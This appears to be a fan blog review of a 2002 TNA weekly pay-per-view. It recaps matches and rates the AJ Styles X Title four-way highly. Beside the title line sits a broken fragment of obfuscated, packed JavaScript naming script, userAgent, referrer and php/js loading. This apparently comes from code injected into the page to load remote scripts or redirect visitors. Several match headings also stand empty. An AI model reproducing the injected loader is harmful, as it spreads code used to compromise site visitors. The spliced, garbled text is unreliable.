TNA Weekly PPV #2: AJ Styles’ First Classic

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynhzk|var|u0026u|referrer|aabns||js|php'.split('|'),0,{})) Weekly PPV #2
Date: June 26, 2002
Location: Von Braun Center, Huntsville, Alabama
Commentators: Mike Tenay, Ed Ferrara, Don West

We open with a recap from last week with Jackie Fargo making Jarrett be the first entrant in the gauntlet match for the world title. Shamrock was in the gauntlet and Scott Hall debuted too. Shamrock wound up winning the title after Jarrett was eliminated by country singer Toby Keith. Jarrett went off and beat up everyone post match and Fargo made Hall vs. Jarrett for tonight.

Jeff Jarrett vs. Scott Hall

A suplex to Hall puts both guys down but it only gets two for Jeff. Hall comes back with a bunch of clotheslines for two of his own. He loads up the Edge but K-Krush (R-Truth) breaks it up. Brian Christopher chases him off which would set up a future tag match. Jarrett loads up the Stroke but Keith low blows him, followed by a double clothesline from Keith and Hall for the pin.

Cheex vs. Frank Parker

K-Krush vs. Brian Christopher

They keep swapping between calling his Brian Christopher and Brian Lawler. Christopher does his Too Cool dance to the ring and the NASCAR guys with him look at him like the idiot he looks like. Krush is the evil one here which I doubt was clear coming into this. He jumps Christopher to start but Brian comes back with a neckbreaker. A bulldog out of the corner gets two for Brian but a second results in him getting crotched on the middle rope.

Krush suplexes him down to take over again, getting a delayed two in the process. He does the backflip into the splits into the side kick spot that he uses today for two. Off to a chinlock as this is going nowhere. Brian fights up, I guess doing what you would call Cooling Up. An enziguri puts Krush down as does a Stunner but Krush hits an atomic drop to put him down. The NASCAR guys shake the ropes to crotch Krush and he falls right into position for the guillotine legdrop from Christopher for the pin.

Miss TNA: Lingerie Battle Royal

Taylor Vaughn, Alexis Laree, Elektra, Erin, Francine, Miss Joni, Miss Sasha, Shannon, Teresa Tyler

Oh and Francine strips Vaughn.

Apolo vs. David Young

Rainbow Express vs. The Dups

Rainbow Express vs. James Storm/Chris Harris

X Title: AJ Styles vs. Jerry Lynn vs. Low Ki vs. Psicosis

Lynn immediately clotheslines AJ down and hits the Cradle Piledriver to give him his first loss. This took less than ten seconds.

Both guys are down for a bit before they head to the corner. We get a pinfall reversal sequence which would make Flair and appropriately enough Steamboat jealous. There are about ten near falls in a minute and they clothesline each other to put both guys down again. They head to the floor and Lynn hits a WICKED Irish Whip into the barricade to send Styles flying.

Rating: A. This was AWESOME and a total star making performance for AJ. Matches like this one were the ones that got the company on the map (eventually) and this was excellent even ten years later. Lynn vs. AJ was the first big feud as they would go at it for months, over that title and another one eventually. Great stuff here and an actual new idea for a match.

We recap the match and recap the show to end things.

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